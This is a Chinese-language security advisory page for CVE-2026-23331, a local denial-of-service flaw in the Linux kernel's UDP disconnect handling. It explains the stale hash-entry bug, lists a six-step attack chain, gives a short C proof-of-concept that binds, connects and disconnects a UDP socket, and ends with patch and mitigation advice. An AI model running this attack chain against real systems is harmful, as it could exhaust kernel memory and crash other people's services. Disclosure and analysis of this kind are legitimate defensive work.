IPBUF安全漏洞报告
English
CVE-2026-23331 CVSS 5.5 中危

CVE-2026-23331 Linux内核UDP断开连接DoS漏洞

披露日期: 2026-03-25
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-23331
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel拒绝服务UDP本地漏洞资源管理错误

漏洞概述

Linux内核UDP协议栈存在拒绝服务漏洞。在UDP套接字绑定通配符地址并建立连接后,若执行断开连接操作,内核未能正确从四元组哈希表中移除旧条目,导致哈希链表中残留无效数据结构。本地低权限攻击者可重复利用此缺陷消耗内核内存资源,严重影响系统稳定性并可能导致服务崩溃。

技术细节

该漏洞发生在Linux内核UDP协议栈的套接字管理逻辑中。当UDP套接字通过`bind()`绑定至通配符地址(0.0.0.0)并指定端口后,内核设置`SOCK_BINDPORT_LOCK`标志。随后调用`connect()`时,通过`udp_lib_hash4()`将套接字加入四元组哈希表。在执行断开连接操作(如连接至AF_UNSPEC)时,`__udp_disconnect`函数会调用`rehash`计算基于通配符的新哈希值并移动套接字,但未清理原哈希槽中的旧条目。这导致四元组哈希表中残留无效链表节点,长期运行会消耗内核内存并降低哈希表查询效率,本地攻击者可利用此缺陷造成拒绝服务。

攻击链分析

STEP 1
步骤1
攻击者在本地系统创建一个UDP套接字。
STEP 2
步骤2
调用bind()将套接字绑定到通配符地址(0.0.0.0)和一个非零端口。
STEP 3
步骤3
调用connect()将套接字连接到特定的目标地址和端口,内核将其加入4-tuple哈希表。
STEP 4
步骤4
调用connect()到AF_UNSPEC或使用断开连接机制,触发__udp_disconnect函数。
STEP 5
步骤5
内核在重哈希移动套接字时,未清理原哈希槽中的旧条目,导致哈希表中残留垃圾数据。
STEP 6
步骤6
攻击者循环执行上述操作,逐渐消耗内核内存资源,最终导致系统拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <arpa/inet.h> #include <sys/socket.h> int main() { int sock; struct sockaddr_in addr; struct sockaddr_in target; struct sockaddr_in disconnect_addr; // Create UDP socket sock = socket(AF_INET, SOCK_DGRAM, 0); if (sock < 0) { perror("socket"); return 1; } // 1. Bind to wildcard address (INADDR_ANY) with a non-zero port memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_addr.s_addr = htonl(INADDR_ANY); addr.sin_port = htons(12345); if (bind(sock, (struct sockaddr*)&addr, sizeof(addr)) < 0) { perror("bind"); close(sock); return 1; } // 2. Connect to a specific address to enter 4-tuple hash table memset(&target, 0, sizeof(target)); target.sin_family = AF_INET; target.sin_addr.s_addr = inet_addr("127.0.0.1"); target.sin_port = htons(80); if (connect(sock, (struct sockaddr*)&target, sizeof(target)) < 0) { perror("connect"); close(sock); return 1; } // 3. Disconnect the socket // Connecting to AF_UNSPEC disconnects a datagram socket // This triggers the vulnerable path in __udp_disconnect memset(&disconnect_addr, 0, sizeof(disconnect_addr)); disconnect_addr.sin_family = AF_UNSPEC; if (connect(sock, (struct sockaddr*)&disconnect_addr, sizeof(disconnect_addr)) < 0) { // Depending on kernel config, this might return error, // but the logic path is often attempted. perror("disconnect"); } printf("Triggered: Socket bound, connected, and disconnected.\n"); close(sock); return 0; }

影响范围

Linux Kernel (Stable branches prior to commit 3b8f104880c104151f8c30f2f89df81fb59a286c)
Linux Kernel (Stable branches prior to commit 6996a2d2d0a64808c19c98002aeb5d9d1b2df6a4)
Linux Kernel (Stable branches prior to commit b955350778b8715e1b7885179979b3a68221c0fb)

防御指南

临时缓解措施
建议尽快应用官方发布的补丁或升级内核版本。在无法立即更新的情况下,应严格限制本地用户权限,避免执行不可信的程序,并密切监控系统内存和哈希表相关的性能指标,以便及时发现异常。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表